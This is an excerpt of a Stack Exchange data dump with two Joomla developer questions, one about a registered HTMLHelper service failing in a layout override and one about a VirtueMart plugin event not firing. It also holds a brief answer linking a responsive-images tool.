  <row Id="33747" PostTypeId="1" CreationDate="2024-03-30T17:54:09.007" Score="1" ViewCount="20" Body="&lt;p&gt;When trying to use a function from a custom service registered within my component, I have an issue.&lt;/p&gt;&#xA;&lt;p&gt;So inside the backend boot function of my component I'm doing this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function boot(ContainerInterface $container)&#xA;{&#xA;    ...&#xA;    $this-&amp;gt;getRegistry()-&amp;gt;register('tools', new MyTools());&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The tools are just a class containing different functions I need to use on different places.&lt;/p&gt;&#xA;&lt;p&gt;I'm using it like this and I can use these functions everywhere. In backend, frontend, modules, plugins and also in my custom template.&lt;/p&gt;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo HTMLHelper::_('tools.custom', $some, $args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The only place I cannot use them is a layout override of the author layout, lying here:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mysite\templates\mytemplate\html\layouts\joomla\content\info_block\author.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When trying to analyse and dig deeper i can see that the Joomla &lt;code&gt;HTMLHelper&lt;/code&gt; always uses the registered service of my tools here:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// inside the _ HTMLHelper function&#xA;if (\array_key_exists($key, static::$registry)) {&#xA;    $function = static::$registry[$key];&#xA;    return static::call($function, $methodArgs);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Only when calling it from the layout override inside the template, it seems to not be registered and fails.&lt;/p&gt;&#xA;&lt;p&gt;The message I get is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;500 JHtmlMyTools not found.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That's strange because inside my template I also have custom layouts for &lt;code&gt;mod_menu&lt;/code&gt; where I can successfully use my custom &lt;code&gt;HTMLHelper&lt;/code&gt; functions.&lt;/p&gt;&#xA;&lt;p&gt;Any idea what's happening here? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="15761" LastEditDate="2024-03-30T18:00:05.370" LastActivityDate="2024-03-30T18:00:05.370" Title="Registered HTMLHelper class not working in specific area" Tags="|htmlhelper|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33748" PostTypeId="1" CreationDate="2024-03-31T06:50:24.740" Score="0" ViewCount="19" Body="&lt;p&gt;I am trying to port some of my old plugins to latest VM, Joomla 4 and I have difficulties with couple of vmcustom plugins. The short version is, that the code I used to insert my needed code, namely something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;class plgVmCustomMyproduct extends vmCustomPlugin {&#xA;...&#xA;   function plgVmOnDisplayProductFEVM3($product,&amp;amp;$group) {&#xA;      vmdebug('myproduct: plgVmOnDisplayProductFEVM3 ');&#xA;....&#xA;   }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;seems to not work. And I have no idea what I am doing wrong here.&lt;/p&gt;&#xA;" OwnerUserId="12584" LastActivityDate="2024-03-31T06:50:24.740" Title="plgVmOnDisplayProductFEVM3 not triggering" Tags="|joomla-4.x|virtuemart|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="33749" PostTypeId="2" ParentId="33734" CreationDate="2024-03-31T20:31:06.940" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://responsive-images.dgrammatiko.dev/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Responsive images&lt;/a&gt; will do that.&lt;/p&gt;&#xA;" OwnerUserId="1995" LastActivityDate="2024-03-31T20:31:06.940" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
</posts>